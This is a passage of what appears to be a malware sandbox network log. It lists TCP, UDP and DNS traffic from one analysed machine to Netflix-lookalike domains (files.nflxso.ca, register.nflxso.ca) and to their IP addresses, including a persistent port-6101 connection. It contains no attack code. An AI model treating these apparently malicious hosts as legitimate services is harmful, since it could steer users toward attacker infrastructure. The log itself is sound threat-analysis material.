May 1, 2024 11:08:54.386287928 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:08:54.386364937 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:08:54.387012005 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:08:54.408123016 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.408217907 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.507864952 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:08:54.507878065 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:08:54.512624025 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:08:54.572567940 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.572587967 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.572604895 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.572649956 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.603238106 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.603255987 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603270054 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603338003 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.603343964 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603355885 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603359938 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603451967 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.603456020 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603470087 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603487968 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603578091 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.603578091 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.603584051 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.603676081 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.603730917 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.658020973 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:08:54.812120914 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:54.812170029 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:54.930636883 CEST	49747	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:55.244127035 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:55.246426105 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:56.076111078 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:56.078404903 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.343368053 CEST	49758	80	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.438055992 CEST	80	49758	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.438129902 CEST	49758	80	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.438606024 CEST	49758	80	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.533143997 CEST	80	49758	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.592268944 CEST	80	49758	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.592288017 CEST	80	49758	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.592503071 CEST	49758	80	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.592911959 CEST	80	49758	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.592962027 CEST	49758	80	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.612436056 CEST	49758	80	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.613473892 CEST	49759	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.613523960 CEST	443	49759	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.613598108 CEST	49759	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.614752054 CEST	49759	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.614784002 CEST	443	49759	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.650686979 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.650706053 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.650718927 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.650774956 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.680381060 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.680397987 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680411100 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680488110 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.680495977 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680509090 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680512905 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680613041 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.680619955 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680639029 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680655003 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680737972 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.680742979 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680751085 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680788040 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.680795908 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.680907011 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.706975937 CEST	80	49758	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.812496901 CEST	443	49759	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.812949896 CEST	49759	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.812979937 CEST	443	49759	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.813894987 CEST	443	49759	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.813966036 CEST	49759	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.816147089 CEST	49759	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.816198111 CEST	443	49759	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.816267967 CEST	49759	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:57.892117977 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:57.892165899 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.316128969 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.316282988 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.455622911 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.455657005 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.455723047 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.493218899 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.493251085 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493267059 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493336916 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.493344069 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493357897 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493453026 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.493459940 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493488073 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493503094 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493506908 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493643999 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.493649960 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493683100 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.493689060 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.493815899 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.571779966 CEST	49747	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.571779966 CEST	49747	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:58.571806908 CEST	443	49747	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.571815968 CEST	443	49747	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.700114012 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:58.702428102 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:59.116118908 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:59.116190910 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:59.298527956 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:59.298547983 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:59.298610926 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:59.508127928 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:59.510423899 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:08:59.948126078 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:08:59.950432062 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.780131102 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.780180931 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804474115 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804507971 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804521084 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804570913 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804579020 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804590940 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804661036 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804666042 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804678917 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804697037 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804718971 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804722071 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804749966 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804754019 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804763079 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804797888 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804802895 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804821968 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804845095 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804847956 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804860115 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:00.804888010 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:00.804950953 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:01.016130924 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:01.016204119 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:01.452131033 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:01.452192068 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.257541895 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.257584095 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.257601976 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.257672071 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.304116964 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.304151058 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.304166079 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.304244995 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.304251909 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.304263115 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.304276943 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.304307938 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.304311991 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.304352045 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.304358959 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:02.304406881 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:02.304449081 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:03.121709108 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:03.147345066 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:05.180871010 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:05.180906057 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:05.180922985 CEST	49756	443	192.168.2.4	172.67.152.151
May 1, 2024 11:09:05.180928946 CEST	443	49756	172.67.152.151	192.168.2.4
May 1, 2024 11:09:05.950386047 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:05.950416088 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:05.950475931 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:05.951159000 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:05.951176882 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:06.371634960 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:06.371923923 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:06.373740911 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:06.373749018 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:06.373992920 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:06.385848999 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:06.428121090 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.164316893 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.164340019 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.164366007 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.164418936 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:07.164437056 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.164458990 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.164467096 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.164470911 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:07.164499044 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:07.164525032 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:07.170784950 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:07.170804977 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:07.170816898 CEST	49760	443	192.168.2.4	13.85.23.86
May 1, 2024 11:09:07.170823097 CEST	443	49760	13.85.23.86	192.168.2.4
May 1, 2024 11:09:16.104758024 CEST	49724	80	192.168.2.4	199.232.214.172
May 1, 2024 11:09:16.136311054 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:16.136346102 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:16.136415005 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:16.136636019 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:16.136648893 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:16.205276966 CEST	80	49724	199.232.214.172	192.168.2.4
May 1, 2024 11:09:16.205312967 CEST	80	49724	199.232.214.172	192.168.2.4
May 1, 2024 11:09:16.205398083 CEST	49724	80	192.168.2.4	199.232.214.172
May 1, 2024 11:09:16.330240965 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:16.349245071 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:16.349272013 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:16.349853039 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:16.397991896 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:17.640144110 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:17.640351057 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:17.686976910 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:25.462770939 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:09:25.465718985 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:09:25.566354990 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:09:26.330590963 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:26.330665112 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:26.330812931 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:26.696955919 CEST	49762	443	192.168.2.4	172.253.62.104
May 1, 2024 11:09:26.696986914 CEST	443	49762	172.253.62.104	192.168.2.4
May 1, 2024 11:09:54.506772041 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:09:54.553755999 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:09:54.660118103 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:09:54.708703041 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:09:54.760277987 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:09:54.760314941 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:09:54.813564062 CEST	49757	6101	192.168.2.4	74.201.73.52
May 1, 2024 11:09:54.850081921 CEST	6101	49757	74.201.73.52	192.168.2.4
May 1, 2024 11:10:11.867594004 CEST	49757	6101	192.168.2.4	74.201.73.52

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 11:08:05.659542084 CEST	64770	53	192.168.2.4	1.1.1.1
May 1, 2024 11:08:05.760641098 CEST	53	64770	1.1.1.1	192.168.2.4
May 1, 2024 11:08:11.879626036 CEST	53	53671	1.1.1.1	192.168.2.4
May 1, 2024 11:08:12.085637093 CEST	53	50182	1.1.1.1	192.168.2.4
May 1, 2024 11:08:12.089757919 CEST	53987	53	192.168.2.4	1.1.1.1
May 1, 2024 11:08:12.089952946 CEST	51849	53	192.168.2.4	1.1.1.1
May 1, 2024 11:08:12.184945107 CEST	53	51849	1.1.1.1	192.168.2.4
May 1, 2024 11:08:12.184963942 CEST	53	53987	1.1.1.1	192.168.2.4
May 1, 2024 11:08:14.358165026 CEST	53	53085	1.1.1.1	192.168.2.4
May 1, 2024 11:08:14.530518055 CEST	53	58509	1.1.1.1	192.168.2.4
May 1, 2024 11:08:17.800328016 CEST	61323	53	192.168.2.4	1.1.1.1
May 1, 2024 11:08:17.800791979 CEST	59328	53	192.168.2.4	1.1.1.1
May 1, 2024 11:08:17.896565914 CEST	53	59328	1.1.1.1	192.168.2.4
May 1, 2024 11:08:17.897937059 CEST	53	61323	1.1.1.1	192.168.2.4
May 1, 2024 11:08:27.864765882 CEST	138	138	192.168.2.4	192.168.2.255
May 1, 2024 11:08:33.931317091 CEST	53	55748	1.1.1.1	192.168.2.4
May 1, 2024 11:08:54.182483912 CEST	56154	53	192.168.2.4	1.1.1.1
May 1, 2024 11:08:54.282963991 CEST	53	56154	1.1.1.1	192.168.2.4
May 1, 2024 11:08:54.667205095 CEST	53	49204	1.1.1.1	192.168.2.4
May 1, 2024 11:09:11.545661926 CEST	53	60633	1.1.1.1	192.168.2.4
May 1, 2024 11:09:14.103326082 CEST	50914	53	192.168.2.4	1.1.1.1
May 1, 2024 11:09:14.202194929 CEST	53	50914	1.1.1.1	192.168.2.4
May 1, 2024 11:09:16.039659023 CEST	58899	53	192.168.2.4	1.1.1.1
May 1, 2024 11:09:16.039788008 CEST	51157	53	192.168.2.4	1.1.1.1
May 1, 2024 11:09:16.134525061 CEST	53	58899	1.1.1.1	192.168.2.4
May 1, 2024 11:09:16.134911060 CEST	53	51157	1.1.1.1	192.168.2.4
May 1, 2024 11:09:21.480331898 CEST	53	55148	1.1.1.1	192.168.2.4
May 1, 2024 11:09:27.664165020 CEST	58247	53	192.168.2.4	1.1.1.1
May 1, 2024 11:09:27.787480116 CEST	53	58247	1.1.1.1	192.168.2.4
May 1, 2024 11:09:42.572916031 CEST	53	55898	1.1.1.1	192.168.2.4
May 1, 2024 11:09:57.680001020 CEST	53287	53	192.168.2.4	1.1.1.1
May 1, 2024 11:09:57.805550098 CEST	53	53287	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 1, 2024 11:08:05.659542084 CEST	192.168.2.4	1.1.1.1	0x5b32	Standard query (0)	files.nflxso.ca	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.089757919 CEST	192.168.2.4	1.1.1.1	0xaec4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.089952946 CEST	192.168.2.4	1.1.1.1	0xb4f9	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 1, 2024 11:08:17.800328016 CEST	192.168.2.4	1.1.1.1	0x31fd	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:17.800791979 CEST	192.168.2.4	1.1.1.1	0xb119	Standard query (0)	apis.google.com	65	IN (0x0001)	false
May 1, 2024 11:08:54.182483912 CEST	192.168.2.4	1.1.1.1	0x7b8a	Standard query (0)	register.nflxso.ca	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:14.103326082 CEST	192.168.2.4	1.1.1.1	0xd376	Standard query (0)	register.nflxso.ca	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.039659023 CEST	192.168.2.4	1.1.1.1	0xe0eb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.039788008 CEST	192.168.2.4	1.1.1.1	0xfbd9	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 1, 2024 11:09:27.664165020 CEST	192.168.2.4	1.1.1.1	0x88f2	Standard query (0)	register.nflxso.ca	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:57.680001020 CEST	192.168.2.4	1.1.1.1	0xb277	Standard query (0)	register.nflxso.ca	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 1, 2024 11:08:05.760641098 CEST	1.1.1.1	192.168.2.4	0x5b32	No error (0)	files.nflxso.ca		172.67.152.151	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:05.760641098 CEST	1.1.1.1	192.168.2.4	0x5b32	No error (0)	files.nflxso.ca		104.21.1.239	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.184945107 CEST	1.1.1.1	192.168.2.4	0xb4f9	No error (0)	www.google.com			65	IN (0x0001)	false
May 1, 2024 11:08:12.184963942 CEST	1.1.1.1	192.168.2.4	0xaec4	No error (0)	www.google.com		142.251.16.147	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.184963942 CEST	1.1.1.1	192.168.2.4	0xaec4	No error (0)	www.google.com		142.251.16.104	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.184963942 CEST	1.1.1.1	192.168.2.4	0xaec4	No error (0)	www.google.com		142.251.16.103	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.184963942 CEST	1.1.1.1	192.168.2.4	0xaec4	No error (0)	www.google.com		142.251.16.105	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.184963942 CEST	1.1.1.1	192.168.2.4	0xaec4	No error (0)	www.google.com		142.251.16.106	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:12.184963942 CEST	1.1.1.1	192.168.2.4	0xaec4	No error (0)	www.google.com		142.251.16.99	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:17.896565914 CEST	1.1.1.1	192.168.2.4	0xb119	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 1, 2024 11:08:17.897937059 CEST	1.1.1.1	192.168.2.4	0x31fd	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 1, 2024 11:08:17.897937059 CEST	1.1.1.1	192.168.2.4	0x31fd	No error (0)	plus.l.google.com		172.253.122.101	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:17.897937059 CEST	1.1.1.1	192.168.2.4	0x31fd	No error (0)	plus.l.google.com		172.253.122.138	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:17.897937059 CEST	1.1.1.1	192.168.2.4	0x31fd	No error (0)	plus.l.google.com		172.253.122.102	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:17.897937059 CEST	1.1.1.1	192.168.2.4	0x31fd	No error (0)	plus.l.google.com		172.253.122.139	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:17.897937059 CEST	1.1.1.1	192.168.2.4	0x31fd	No error (0)	plus.l.google.com		172.253.122.113	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:17.897937059 CEST	1.1.1.1	192.168.2.4	0x31fd	No error (0)	plus.l.google.com		172.253.122.100	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:54.282963991 CEST	1.1.1.1	192.168.2.4	0x7b8a	No error (0)	register.nflxso.ca		74.201.73.52	A (IP address)	IN (0x0001)	false
May 1, 2024 11:08:54.282963991 CEST	1.1.1.1	192.168.2.4	0x7b8a	No error (0)	register.nflxso.ca		147.182.137.203	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:14.202194929 CEST	1.1.1.1	192.168.2.4	0xd376	No error (0)	register.nflxso.ca		74.201.73.52	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:14.202194929 CEST	1.1.1.1	192.168.2.4	0xd376	No error (0)	register.nflxso.ca		147.182.137.203	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.134525061 CEST	1.1.1.1	192.168.2.4	0xe0eb	No error (0)	www.google.com		172.253.62.104	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.134525061 CEST	1.1.1.1	192.168.2.4	0xe0eb	No error (0)	www.google.com		172.253.62.99	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.134525061 CEST	1.1.1.1	192.168.2.4	0xe0eb	No error (0)	www.google.com		172.253.62.105	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.134525061 CEST	1.1.1.1	192.168.2.4	0xe0eb	No error (0)	www.google.com		172.253.62.106	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.134525061 CEST	1.1.1.1	192.168.2.4	0xe0eb	No error (0)	www.google.com		172.253.62.147	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.134525061 CEST	1.1.1.1	192.168.2.4	0xe0eb	No error (0)	www.google.com		172.253.62.103	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:16.134911060 CEST	1.1.1.1	192.168.2.4	0xfbd9	No error (0)	www.google.com			65	IN (0x0001)	false
May 1, 2024 11:09:27.787480116 CEST	1.1.1.1	192.168.2.4	0x88f2	No error (0)	register.nflxso.ca		74.201.73.52	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:27.787480116 CEST	1.1.1.1	192.168.2.4	0x88f2	No error (0)	register.nflxso.ca		147.182.137.203	A (IP address)	IN (0x0001)	false
May 1, 2024 11:09:57.805550098 CEST	1.1.1.1	192.168.2.4	0xb277	No error (0)	register.nflxso.ca		74.201.73.52	A (IP address)	IN (0x0001)	false
